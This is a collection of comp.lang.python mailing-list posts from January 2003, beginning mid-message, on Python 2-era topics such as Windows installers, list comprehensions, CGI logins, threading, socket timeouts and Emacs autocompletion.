access to a computer.  My first target is the largest group, Windows users;
but, I don't want to ignore the people who have Mac and Linux.  To me,
that's one of the many attractions of Python - everyone can use it.

A rough draft of my first two applications, written in Visual Basic,
produced .exe files that are 350-460 KB.  The complete application would
probably be about 750 KB.  A data file, for 12 months, for a typical user,
would be about 500 KB.  So, the entire app and one year's data would easily
fit on a floppy disk, and could be used at home, school, work, or the
library.

> While it may not be at the level of the VB "create a installer" sort
> of thing, I use Gordon McMillan's installer package along with the
> InnoSetup Windows installer (for typical Windows installation
> packages) and I find it very easy and capable.  The installer is a
> simple execution to collect all the appropriate files together, and
> while you have to do some manual work to create the configuration file
> for InnoSetup, it's simple enough and no worse than using something
> like InstallShield with a VC application.

This is what I want ...

To buy: enter the credit card number, download the software.  To install:
click on the filename, choose the directory for file storage, choose the
directory for the shortcut.  To use: click on the shortcut.

Downloading and installing Python on every user's machine is not acceptable,
to me.

> Others here will no doubt mention py2exe which is an alternative to
> Gordon's package.  There are also alternatives to InnoSetup (such as
> NSIS).
>
> If you need more cross-platform support, Gordon's installer does
> support Linux (you'd skip the InnoSetup step).
>
> Of course, you could always use the included distutils support to
> build a setup file for your package and distribute it that way.  Your
> targets would need Python but not a developer environment (unless your
> package includes custom extensions that need compiling, and even then
> I think you can include the pre-built binaries with your
> distribution).  This is actually a fairly common way to distribute
> Python modules, although I can understand your desire for a more
> standalone approach, particularly for Windows users, as that's what I
> also do for some of my packages.
>
> Any of these seem fairly developer-friendly to at least this developer :-)

>From one developer to another: Thanks for your thoughtful reply.

> -- David

Norm

PS:  I quite strongly disagree with the nutritional advice given by your
company.





From marklists at mceahern.com  Wed Jan 29 18:46:55 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Wed, 29 Jan 2003 17:46:55 -0600
Subject: best way to do some simple tasks
In-Reply-To: <c42e062e.0301291531.6a656e4@posting.google.com>
Message-ID: <JHEOKEOOLIGLDHCMAHMOIEGPFPAA.marklists@mceahern.com>

> 1) String interpolation of lists and dictionaries
>    What is the correct and best way to do this?
>    x =[1,2,3,4]
>    print "%(x[2])i blah" % vars() # <- does not work

print '%d blah' % x[2]

lookup string formatting operations.  Python doesn't have string
interpolation AFAIK, although there's been PEP(s?) for it.

> 2) Perform a method on each element of an array
>    a= ["  hello  ",  "  there  "]
>
>    how do I use the string's strip() method on each element of the
> list?
>
>    a = map((lambda s: s.strip()), a) # looks ugly to me
>
>    for e in a:                       # this looks even worse
>       temp.append(e.strip())
>    a=temp

a = [x.strip() for x in a]

> 3) What is the best way to do this?
>
>    a=[1,2,3]
>    b=[1,1,1]
>
>    how do I get c=a+b (c=[2,3,4])?
>
>    If I wanted to use reduce(), how do I shuffle the lists?

One way:

  import operator
  c = map(operator.add, a, b)

> 4) Why does this work this way?
>    d=[1,2,3,4,5]
>    for h in d:
>       h+=1
>    print d
>    >>>[1, 2, 3, 4, 5]
>
>    Is there a python reason why h is a copy not a reference to the
> element in the list?  In perl the h would be a ref.  If d was a tuple
> I could understand it  working this way.

ints are immutable, lists aren't.

a = range(1,5)
b = [x+1 for x in a]

Cheers,

// m

-





From hwlgw at hotmail.com  Wed Jan 15 03:28:27 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 15 Jan 2003 00:28:27 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com>
Message-ID: <cb035744.0301150028.3b584272@posting.google.com>

[Paul Rubin]
> Anyway, without knowing what kind of site we're talking about, it
> doesn't make sense to say SSL is worthwhile.

I don't know about setting up SSL for a site.  Do you think my local
ISP would support it?  I mean is it normal to expect them to provide
it?

My site is nonexistent yet...I am still in the development phase.  So
far I have been able to program and design login pages (with
passwords) and a couple of subsequent pages that use a user ID code
generated by the login page CGI script: the user ID code is based on
the current time and passed along via <input type=hidden> tags.  This
seems to work ok and it would be very hard for somebody else to guess
a randomly generated user ID code that is only valid a limited time.

About the kind of site: it is build around an online game I am
developing.  The challenge is to use only HTML and CSS, trying even to
avoid images.  There is a *lot* you can do with CSS only and I like
it.

I installed the apache web server on my XP laptop and guess what, it
works :)  Had to change a .conf script though in typical unix style to
enable CGI.  So the POST problems with IE are over now.

Thank you for your responses, and more ideas are always welcome.


'''
DeVries' Dilemma:
        If you hit two keys on the typewriter,
        the one you don't want hits the paper.
'''



From martin at v.loewis.de  Sun Jan 26 08:59:02 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 26 Jan 2003 14:59:02 +0100
Subject: PyXML 0.8.2 is released
In-Reply-To: <3e33d36d$0$234$cc9e4d1f@news.dial.pipex.com>
References: <m365scmcfa.fsf@mira.informatik.hu-berlin.de> <3e33d36d$0$234$cc9e4d1f@news.dial.pipex.com>
Message-ID: <b10piv$s41$06$1@news.t-online.com>

Tim C wrote:
> I've been trying pyxml from jython and fell into the problem when trying to
> create executables that pyxml's mechanisms for importing modules confound
> the compiler. 

What do you mean by "executable", and which compiler are you talking 
about? How was it confound?

Regards,
Martin




From EDB30 at msn.com  Fri Jan  3 23:17:15 2003
From: EDB30 at msn.com (Tupoi)
Date: Fri, 3 Jan 2003 23:17:15 -0500
Subject: practice programs
References: <3e1623e1$1_5@nopics.sjc> <GFqR9.2073$LY3.1421@nwrddc04.gnilink.net>
Message-ID: <3e166041$1_4@nopics.sjc>

"Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message
news:GFqR9.2073$LY3.1421 at nwrddc04.gnilink.net...
> From: "Tupoi" <EDB30 at msn.com>
> > any ideas for programms a begginer might try writing to help hone his
> skills
>
> A spell checker might be useful ;)
>
>
> Some classic exercises are:
> -- prime number generator (3,5,7,11, and 13 are prime; 9 is an anomaly)
> -- Markov sentence generation
> -- mail merge (table of fields inserted in to text with place holders)
> -- key word in context (search google for KWIC index)
> -- shuffle a deck and evaluate a blackjack hand
> -- use introspection and metaclasses to write a native Python compiler
> (okay, maybe not).
>
>
> Raymond Hettinger
>
>
Whats a markov sentence generation





From mystery at golden.net  Sun Jan  5 11:59:45 2003
From: mystery at golden.net (Etienne Charland)
Date: Sun, 5 Jan 2003 11:59:45 -0500
Subject: Python vs .Net
References: <mailman.1041765407.27348.python-list@python.org> <av9n65$8bg$1@news-reader10.wanadoo.fr>
Message-ID: <zCZR9.63$HE5.5922948@mantis.golden.net>

Nope. .NET managed code doesn't use COM. However, it does support good
compatibility with COM components. Oh, and also, COM components need to be
registered in the system registry, while .NET assemblies doesn't.

"News M Claveau /Hamster-P" <essai1 at mci.local> wrote in message
news:av9n65$8bg$1 at news-reader10.wanadoo.fr...
>
> >>> Nope. COM/DCOM is not part of .NET. This is an interoperability layer
to
> allow .NET applications to use COM components though.
> COM est au coeur de .NET, et est omnipr?sent (partout) dans .NET
>
> @+
> --
> Michel Claveau
>
>





From skip at pobox.com  Mon Jan 27 12:07:48 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 11:07:48 -0600
Subject: zipfile module and exceptions
In-Reply-To: <b13nqk$irb$1@newsg3.svr.pol.co.uk>
References: <b13nqk$irb$1@newsg3.svr.pol.co.uk>
Message-ID: <15925.26468.410115.258855@montanaro.dyndns.org>

    >> The problem is that in the except clause the z.close() fails because
    >> the z is not known. Am I not supposed to close the file in the case
    >> of IOError? If not the solution is simple... Any ideas?

Try something like this instead:

    try:
        z = zipfile.ZipFile(file, "r")
    except (possible creation errors here):
        print >> sys.stderr, "Can't open zipfile %s for reading" % file
    else:
        if z.testzip() is None:
            self.listBox2.Append(file)
        else:
            self.listBox3.Append(file)
        z.close()

Skip




From peterm at resmed.com.au  Sun Jan  5 15:28:55 2003
From: peterm at resmed.com.au (Peter Milliken)
Date: Mon, 6 Jan 2003 07:28:55 +1100
Subject: Can emacs support auto complete of python?
References: <mailman.1041771677.3260.python-list@python.org> <slrnb1gfvp.1ga.davecook@localhost.localdomain> <mailman.1041777729.13860.python-list@python.org> <ava2rs$j2a$1@news.tudelft.nl>
Message-ID: <8z0S9.8$YG2.542@nnrp1.ozemail.com.au>

I am considering something similar for ELSE mode of Emacs i.e. it would
define methods/function calls as "tokens" and would take a definition such
as this from the string module:

def split(s, sep=None, maxsplit=-1):

and produce the following code template:

   split(s = {text}, [sep = {text}], [maxsplit = {text}])

Note that the [] denote "optional" placeholders i.e. the user can delete
them (since they are arguments supported by default values) or "expand" them
if they decide to use them. All of the code would then have the appearance
of using the named parameter call convention - not a bad thing at all if you
use parameter names that mean something! :-)

Whilst this is somewhat similar to features of other editors, I (personally)
find it of interest only for languages that have named parameters (such as
Python and Ada). Just "popping" up some form of prompter in the middle of a
screen with the function definition normally wouldn't be of interest to me
(I find it distracting) - I would just open another buffer and look at it!
:-)

If there are sufficient users of ELSE out there who are interested, please
let me know and I'll look at changing the (current) priority on this work
:-)

Peter


"Charl P. Botha" <cpbotha at i_triple_e.org> wrote in message
news:ava2rs$j2a$1 at news.tudelft.nl...
> In article <mailman.1041777729.13860.python-list at python.org>,
> Laura Creighton wrote:
> >> In article <mailman.1041771677.3260.python-list at python.org>, Nadav
Horesh
> >> wrote:
> >>
> >> > As in IDLE -- try ALT-/
> >>
> >> AFAIK, the only way to do this in emacs (without elisp programming)
would be
> >> e.g. to open the module your working with in another buffer.
> >
> > I have some happy news for you.  If you put this line in your .emacs
> >
> > (global-set-key [f3]       'dabbrev-expand)
> >
> > you can get autocompleting when you press the f3 key.  Bind it to
> > whatever you prefer ...
>
> AFAIK, alt-/ is the default binding for dabbrev, which means your post is
> now "-1 redundant", or whatever the correct moderation parlance is these
> days.
>
> In anycase, as far is I understood, that's not exactly what the original
> poster described.  dabbrev just completes on the grounds of what's in
> current buffers, whereas the original poster (at least according to his
> posting) wanted something a tad more intelligent, e.g. class.b<complete>
> would suggest all members of "class" that start with "b".  The ipython
shell
> does this for python.  The emacs java-mode does this for java as well if I
> understand correctly.
>
> --
> charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/





From rmunn at pobox.com  Thu Jan  2 18:21:18 2003
From: rmunn at pobox.com (Robin Munn)
Date: Thu, 02 Jan 2003 23:21:18 GMT
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <ausvot$fuh$0@216.39.172.122> <mailman.1041373417.15990.python-list@python.org>
Message-ID: <slrnb19im6.7kd.rmunn@rmunnlfs.dyndns.org>

Cliff Wells <LogiplexSoftware at earthlink.net> wrote:
> I (sheepishly) admit that I'm kind of fond of the "with" statement some
> languages have:
> 
> somelongname.x = 1
> 
> with somelongname:
>     .x += 1
>     print .x 
> 
> It's a bit more explicit and more versatile as well (can be used for
> more than just self).  I'm certain a PEP has been written and rejected
> on this (or maybe enough arguing was done on c.l.py that a PEP was never
> bothered with), so I'll just be jealous of VB programmers for this one
> little thing.  

Hmmm, a quick search of http://www.python.org/peps/ doesn't turn up
anything that looks like a PEP suggesting a "with" keyword. If you like
it enough, why not write the PEP and try to get it included?

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From peter at engcorp.com  Mon Jan 13 12:22:52 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Jan 2003 12:22:52 -0500
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com> <3E22ED2B.40100@draigBrady.com>
Message-ID: <3E22F5EC.A546F834@engcorp.com>

P at draigBrady.com wrote:
> 
> Brian Kranson wrote:
> > Is there a way I can make this small script any faster?  The file it
> > reads in used to be only about a 100 lines and now it is well over
> > 2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
> > advance - Bk
> >
> > import time
> > startTime=time.time()
> > myList=[]
> > finalList=[]
> > myString=''
> > file=open('Export.txt','r')
> > lines=file.readlines()
> > for line in lines:
> >         for character in line:
> >                 if character == '"':
> >                         None
> >                 elif character == ',' or character == '\n':
> >                         myList.append(myString)
> >                         myString=''
> >                 else:
> >                         myString += character
> >         finalList.append(myList)
> >         myList=[]
> > endTime=time.time()
> > print endTime-startTime
> 
> file=open('Export.txt','r')
> for line in file.readlines():
>      line = line.strip()
>      finalList.append(line.split(','))

This doesn't remove the quotation marks that surround each field, though
it does make a good point: don't process character-by-character in Python
if you want performance!

-Peter



From andrew-pythonlist at puzzling.org  Sun Jan 26 21:55:10 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Mon, 27 Jan 2003 13:55:10 +1100
Subject: socket wedged forever in recv()
In-Reply-To: <61957B071FF421419E567A28A45C7FE54010DB@mailbox.nameconnector.com>
References: <61957B071FF421419E567A28A45C7FE54010DB@mailbox.nameconnector.com>
Message-ID: <20030127025510.GE451@frobozz.local>

On Fri, Jan 24, 2003 at 04:47:19PM -0500, Geoffrey Talvola wrote:
> I have a Windows NT client application that uses httplib to make requests to
> a Windows NT server running Apache 2.0 serving up a cgi script.
> Unfortunately, if I reboot the Apache server, if a request is in-progress,
> the client will often wedge permanently.  I built a debug version of Python
> 2.2.2 and verified that the client is stuck in a call to recv() and will
> apparently never exit.  It's a little irritating that the client can't
> detect the situation and return from recv() with an error code at this
> point.  Does anyone know a way to get the client to notice that the server
> is gone?

I'd recommend using Twisted <http://twistedmatrix.com/> and simply setting a
timeout inside Twisted, which would then close the socket.  Alternatively
you could use select directly -- but Twisted is *much* nicer to work with.
Twisted also has support for SSL.

-Andrew.





From sandskyfly at hotmail.com  Sat Jan 11 08:16:33 2003
From: sandskyfly at hotmail.com (Sandy Norton)
Date: 11 Jan 2003 05:16:33 -0800
Subject: escaping illegal characters in XML
Message-ID: <b03e80d.0301110516.439825f0@posting.google.com>

Question:

What's the most robust way to escape illegal characters when outputing
XML using the python standard library (or PyXML)?

Context:

I've written a websucker that extracts links and urls from various
news sites using "from xml.sax.saxutils import escape" to do my
escaping and then writing out the xml file using xml.dom.minidom.
Unfortunately, I still get illegal characters embedded in the results.

Is there any foolproof method?

Thanks in advance for any hints and pointers.

Sandy



From tismer at tismer.com  Tue Jan 14 10:58:40 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 16:58:40 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C76@MAYOR.retzlaff.com>
References: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C76@MAYOR.retzlaff.com>
Message-ID: <3E2433B0.2040409@tismer.com>

Jimmy Retzlaff wrote:

[snipped the great success report]

> p.s. -
> Just imagine someone someday saying: C is fine for most of your
> programming tasks, but for those time critical tight inner loops you
> should use Python for performance reasons. Statically typed code just
> can't be optimized for performance the way dynamically typed code can
> be. :)

Hey that's a wonderful dream!






From LogiplexSoftware at earthlink.net  Wed Jan 15 15:59:10 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 15 Jan 2003 12:59:10 -0800
Subject: threads / dictionaries
In-Reply-To: <8db020b9.0301151221.ea53532@posting.google.com>
References: <8db020b9.0301151221.ea53532@posting.google.com>
Message-ID: <1042664350.27815.142.camel@software1.logiplex.internal>

On Wed, 2003-01-15 at 12:21, .d.hos wrote:
> Hello everybody,
> I have a mutlithreading script in which I would like to create a
> unique dictionary for each thread.
> 
> Currently, If thread 1 is writing to a dictionary, and thread 2
> returns in the middle of that process, thread 1's dictionary is
> overwritten with thread 2's entries. If I Space out the threads with
> the sleep() function long enough, each dictionary returns a unique
> dictionary - but that kinda kills the purpose of multithreading...?

Using sleep() for thread synchronization is suicidal.  Have you looked
at Queue?

It isn't clear what you are trying to accomplish.  Perhaps if you gave
some idea of what the dictionary is used for and where it is created
(global? in the thread? as an argument to the thread?) you would get
better help.  

> can i dynamically name each dictionary for each thread? I've tried
> using the thread id as the dictionary name - but to no avail...(could
> be my coding)

Could be.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 10:52:08 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 07:52:08 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com>
Message-ID: <7xvg0ebl5j.fsf@ruckus.brouhaha.com>

Peter Hansen <peter at engcorp.com> writes:
> If you're worried about some kind of denial of service type
> thing with code written by someone else: you're out of luck.
> Don't use Python.  (Or, better yet, get over the worry and just
> accept this possibility.)

Wha?  Python provides the rexec and bastion modules specifically to
have a way to run hostile code in a sandbox.  So what kind of advice
is "don't use Python"?  If sandboxed code can be prevented from
accessing sensitive data or doing i/o, but can't be prevented from
looping unkillably, that's a bug in Python.



From skip at pobox.com  Tue Jan  7 22:54:43 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 7 Jan 2003 21:54:43 -0600
Subject: bgen rocks
In-Reply-To: <20030108015450.72701.qmail@web40908.mail.yahoo.com>
References: <20030108015450.72701.qmail@web40908.mail.yahoo.com>
Message-ID: <15899.41219.891519.226411@montanaro.dyndns.org>

    Chris> I modify the bgen a little bit to use re module and also add some
    Chris> ObjectDefinition for generating C structures objects, of course,
    Chris> reuse the type we already know.

I'm sure your changes would be welcome.  You can submit a at SourceForge:
<http://sf.net/projects/python>. 

Skip




From anthony at interlink.com.au  Fri Jan 10 11:36:39 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Sat, 11 Jan 2003 03:36:39 +1100
Subject: Python Based Bug Database? 
In-Reply-To: <fd065f64.0301100637.483c0b19@posting.google.com> 
Message-ID: <200301101636.h0AGadI17727@localhost.localdomain>

>>> Charles Medcoff wrote
> Hello,
> 
> Is anyone aware of a free or open-source, web based bug tracking
> system based on python?


roundup.sf.net


-- 
Anthony Baxter     <anthony at interlink.com.au>   
It's never too late to have a happy childhood.





From bokr at oz.net  Fri Jan 10 10:22:06 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 15:22:06 GMT
Subject: YAI: syntax for preset locals without using dummy args with defaults
Message-ID: <avmoeu$v8p$0@216.39.172.122>

Yet another idea ;-)

Right now we often see

    def foo(x, y=default, z=some_expression):
        ...

where the purpose is not to have three parameters, but two
plus a local binding (z) in foo to the value of some_expression
evaluated in the def-time environment. z may bind something not
accessible later at call time, or it may be just to avoid recalculating
an expensive expression at each function call.

The subject line idea amounts to using the same parameter list mechanisms,
but not incrementing argcount (ok, a little more complex, but that's the
essence) Thus:


    def foo(x, y=default)(z=some_expression):
        ...

would make a function as if just from foo(x, y=default)
and the optional second "parameter list" would
make local bindings just like default arguments, but would
not make them part of the calling signature.

For longer lists of initializations, it is helpful that parens allow
putting things on multiple lines, but perhaps tempting to forget that
it's not a code block as I really wanted[1] ;-)

    def foo(x, y=default)(
        z = something                # preset local z
        pi = __import__('math').pi   # preset local pi
    ):
        if x<0 or y<0 or z<0: raise ValueError, 'Only call-time checks possible'
        return pi*(x*x-y*y)


----------------------------------------------------------------------------------
[1] Something like

    def foo(x, y=default):
        presets:
            z = something
            pi = __import__('math').pi
            twopi = 2.0*pi # not possible in parameter list version
            if z < 0: raise ValueError, 'Def-time preset check, possible with presets: block'
        if x<0 or y<0: raise ValueError, 'Call-time parameter check'
        return pi*(x*x-y*y)

I thought the first version above might be easier to implement, but
either way, having a sanctioned way to accomplish safe presetting of
function locals should make for a performance boost in many cases.

I think either version will be interesting for method definitions too.

Regards,
Bengt Richter



From blaktyger at sympatico.ca  Fri Jan 24 14:20:03 2003
From: blaktyger at sympatico.ca (Bastien Pierre)
Date: Fri, 24 Jan 2003 14:20:03 -0500
Subject: db files
References: <mailman.1043433829.24346.python-list@python.org>
Message-ID: <vlgY9.10277$W3.1146575@news20.bellglobal.com>

After doing some research I found out that I'm using a Paradox Database or
dBase.
Hope this helps.
Otherwise is it possible to create FoxPro databases.
I dont want to use MySQL, Oracle or any other SQL servers.


"Bjorn Pettersen" <BPettersen at NAREX.com> wrote in message
news:mailman.1043433829.24346.python-list at python.org...
> From: Bastien Pierre [mailto:blaktyger at sympatico.ca]
>
> "Blaktyger" <blaktyger at hotmail.com> wrote in message
> > I would like to know if it's possible to access to a file database
> > (filename.db or filename.dbf)via Python or wxPython. If so, how?
>
> I'm using windows XP anf the files are created with Borland C++.
> Can I create db files with Python?

Still not enough information... I doubt most people here know about
"Borland C++", and especially what kind of database files it writes. It
would be helpful if you could tell us (either summarily, or an URL
<wink>).

-- bjorn





From sschwarzer at sschwarzer.net  Thu Jan 23 18:14:10 2003
From: sschwarzer at sschwarzer.net (Stefan Schwarzer)
Date: Fri, 24 Jan 2003 00:14:10 +0100
Subject: How to send output to file
References: <3E2D17B1.3400.13E9049E@localhost> <mailman.1043162627.26459.python-list@python.org>
Message-ID: <b0pt03$eg$1@news.online.de>

Gerrit Holl wrote:
> A schreef op dinsdag 21 januari om 09:54:37 +0000:
>> I use httplib module.
>> By h.set_debuglevel(1) I start debugging but the output is written to DOS window.
>> How can  I divert the output to file instead.
>> Thank you for help.
> 
> You can assing to sys.stdout
> 
> import sys
> sys.stdout = open("myfile.log", "w")

Specifically, you can set and reset sys.stdout:

sys.stdout = open("myfile.log", "w")  # like above
try:
     # do things that write to sys.stdout
finally:
     # sys.__stdout__ contains the "real" standard output
     sys.stdout = sys.__stdout__

Note that the above approach will also affect print statements in other threads
than the one which should use the redirection.

Stefan




From abelikov72 at hotmail.com  Tue Jan 21 14:11:33 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 21 Jan 2003 19:11:33 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043128786.32145.python-list@python.org> <45qp2v0488fss981maanr3f2nr6a9as48m@4ax.com> <mailman.1043170362.11639.python-list@python.org>
Message-ID: <os5r2v4tof0u3gb2iardsh3qfkqh27jklu@4ax.com>

On Tue, 21 Jan 2003 11:37:49 -0500, "A.M. Kuchling" <amk at amk.ca> wrote:

>Afanasiy wrote:
>> In my commandline scripting tests, Python always beats PHP...
>> What would stop a new Apache+Python integration project from being faster?
>
>Perhaps Richard knows the Zend optimizer for PHP is faster, or assumed 
>it would be.  If you've measured Python at being faster, though,
>that would settle the performance question for you.

That settles the performance question for standalone scripts.
This requirement targets the speed of the entire web solution.
As such, Zope fails the requirement even though it uses Python.

As far as whether or not he meant Zend, explicit clarification
is needed to be sure. I myself would not assume Zend is faster.

>>>>* Big plus, but optional, auto prepend/append files
>>>>  (eg. Apache+PHP has .htaccess directives like this )
>>>>  (    php_value auto_prepend_file "_header.php"     )
>>>>  (    php_value auto_append_file "_footer.php"      )
>>>>  (granular down to the directory
>>
>> Not from what I have seen. I even imagine implicit vs. explicit would
>> cause many Python programmers to love writing cascading header/footer
>> includes and custom error handling on every new page, even if via paste.
>
>There are lots of different ways to tweak the HEAD element, though,
>and to present additional things, so header() can get quite complicated:
>
>It would be hard to make things this flexible with an automatic headera
>and footer system, and in the common case (just supplying a title)
>the overhead is low, so I find this an acceptable trade-off.

This requirement has little to do with programmatic creation of <head>

>> Which platform do you recommend I test for all of these requirements?
>> Many tested so far fail relatively easily. I am looking for concrete
>> suggestions from people experienced in this sort of web development.
>
>I think the problem with offering a recommendation is that you haven't 
>said in what respect they fail.  Too low-level?  Too many assumptions
>that don't fit your situation?

None of those researched meet enough of the documented requirements.



From vanevery at 3DProgrammer.com  Fri Jan 31 18:17:50 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:17:50 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <1lh_9.145990$AA2.5964173@news2.tin.it>
Message-ID: <yuD_9.872$ek4.87541@newsread2.prod.itd.earthlink.net>

Alex Martelli wrote:
> So both factors are ruled out,
> period -- and your contention remains simply wrong.

I will take your data point under advisement, and compare it to my
experiences when someday I finally get to the "Python" stage of my game
project.  Right now I'm still in the C++ / math / 3D engine stage.  I really
do feel that most of my time right now is spent on design, and that no
language would allow me to code any more rapidly than any other.  C++ just
doesn't represent significant overhead for my current case use.

Admittedly, I did just kill a whole pile of "const" declarations for a
container class because it was proving to be far more trouble than it was
worth.  I'd gone back and forth on that issue 2 or 3 times, changed a whole
bunch of declarations in a whole bunch of files 2 or 3 times.  Finally
decided that any perceived efficiency or safety that const might provide was
not worth it.  My one really huge gripe about C++ is how badly it handles
constness for array construction.  Sure if you do enough "placement new" you
can solve it, but what a pain in the ass.

If you Keep It Simple Stupid in C++, it ain't that bad.

> Transliterating into Python yielded about twice the productivity
> wrt C++ (main gains: no worry about who owns what, no casts
> needed, nested functions, everything works "template-like", i.e.
> with signature-based polymorphism, without all of the syntax
> cruft; only small cost, since PyChecker didn't exist at the time,
> having to run the unit tests even to catch typos -- but that one
> didn't have a measurable impact, 'twas just a small annoyance).

You're naming a whole bunch of language features that I simply don't use.  I
know *how* to use them, I simply choose not to.  I avoid unnecessary
complexity, and I'm doing solo development.  Maybe it's fairer to say that
Python yields more advantages in a cooperative environment.  Whereas if you
can be your own Code Nazi, C++ can work fine.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From spam at magnetic-ink.dk  Wed Jan 29 03:56:25 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Wed, 29 Jan 2003 08:56:25 +0000 (UTC)
Subject: sorting dictionaries by value
References: <v3f4qvg7f66nee@corp.supernews.com>
Message-ID: <1ac2f52a-24fa-4967-a132-6c738c92af19@news.szn.dk>

Hilbert wrote:

> I have the following dictionary:
> 
>>>> dict = {
> ... "one" : { "red" : 23, "blue" : 99 },
> ... "two" : { "red" : 43, "blue" : 17 },
> ... "three" : { "red" : 34, "blue" : 65 },
> ... "four" : { "red" : 36, "blue" : 38 } }
> 
> I'd like to print the value of  "blue" sorted and the corresponding
> key of dict, like:
> 
> 17 "two"
> 38 "four"
> 65 "three"
> 99 "one"

#v+
>>> res = []
>>> for key in dict.keys():
...     res.append( (dict[key]['blue'], key) )
... 
>>> res.sort()
>>> for (val, key) in res:
...     print '%d "%s"' % (val, key)
... 
17 "two"
38 "four"
65 "three"
99 "one"
>>> 
#v-

('Tis prudent to use another word than "dict" to label a dictionary.)


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From martin at v.loewis.de  Wed Jan  1 15:50:21 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 01 Jan 2003 21:50:21 +0100
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <200301012017.42377.phil@river-bank.demon.co.uk>
References: <200301010958.45042.kibab@icehouse.net>
	<200301011940.04314.phil@river-bank.demon.co.uk>
	<200301011155.12269.kibab@icehouse.net>
	<200301012017.42377.phil@river-bank.demon.co.uk>
Message-ID: <m3vg18mw6q.fsf@mira.informatik.hu-berlin.de>

Phil Thompson <phil at river-bank.demon.co.uk> writes:

> You could try instrumenting lock_import(), or replace the mysqldb calls with 
> code that still does the imports but nothing else.

Alternatively, you could also ask your debugger for a stack trace for
all threads.

Regards,
Martin





From walter at livinglogic.de  Thu Jan 16 16:17:54 2003
From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Thu, 16 Jan 2003 22:17:54 +0100
Subject: Interesting problem comparing strings with integer values...
In-Reply-To: <152e2vgi4837q46ttspctbcfdgm3f2lmor@4ax.com>
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com> <mailman.1042682272.26642.python-list@python.org> <6k5c2vcjc2c565orhe5s21o12hllhe0rbm@4ax.com> <_uqV9.4336$qU2.1077@news1.central.cox.net> <152e2vgi4837q46ttspctbcfdgm3f2lmor@4ax.com>
Message-ID: <1042751874.665222@homer.tmt.de>

Chris Spencer wrote:

 > [...]
> 	Note that "".zfill(16) *is not implemented* in the basic string type
> methods, but is implemented in the string module.  Interesting, that.  So
> instead of importing the string module, I just rewrote zfill.

zfill will be a method in Python 2.3.

Bye,
    Walter D?rwald




From andrew-pythonlist at puzzling.org  Fri Jan 31 00:32:17 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 31 Jan 2003 16:32:17 +1100
Subject: Scripting *of* Python
In-Reply-To: <3E39FDE4.99EB64D4@alcyone.com>
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com>
Message-ID: <20030131053217.GH14761@frobozz.local>

On Thu, Jan 30, 2003 at 08:39:00PM -0800, Erik Max Francis wrote:
> Andrew Bennetts wrote:
> 
> > That doesn't preclude the use of Twisted, though.
> 
> It doesn't preclude him from using Medusa, either, with just a little
> bit of boilerplating to make sure that interactions between the working
> thread and the socket are controlled with a mutex.
